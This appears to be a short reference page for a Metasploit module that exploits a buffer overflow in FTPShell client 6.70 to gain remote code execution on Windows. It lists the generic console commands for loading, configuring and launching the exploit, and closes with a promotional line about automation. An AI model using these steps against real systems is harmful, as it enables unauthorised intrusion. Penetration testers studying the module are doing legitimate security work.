This module exploits a buffer overflow in the FTPShell client 6.70 (Enterprise edition) allowing remote code execution.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/ftp/ftpshell_cli_bof
msf exploit(ftpshell_cli_bof) > show targets
...targets...
msf exploit(ftpshell_cli_bof) > set TARGET < target-id >
msf exploit(ftpshell_cli_bof) > show options
...show and set options...
msf exploit(ftpshell_cli_bof) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
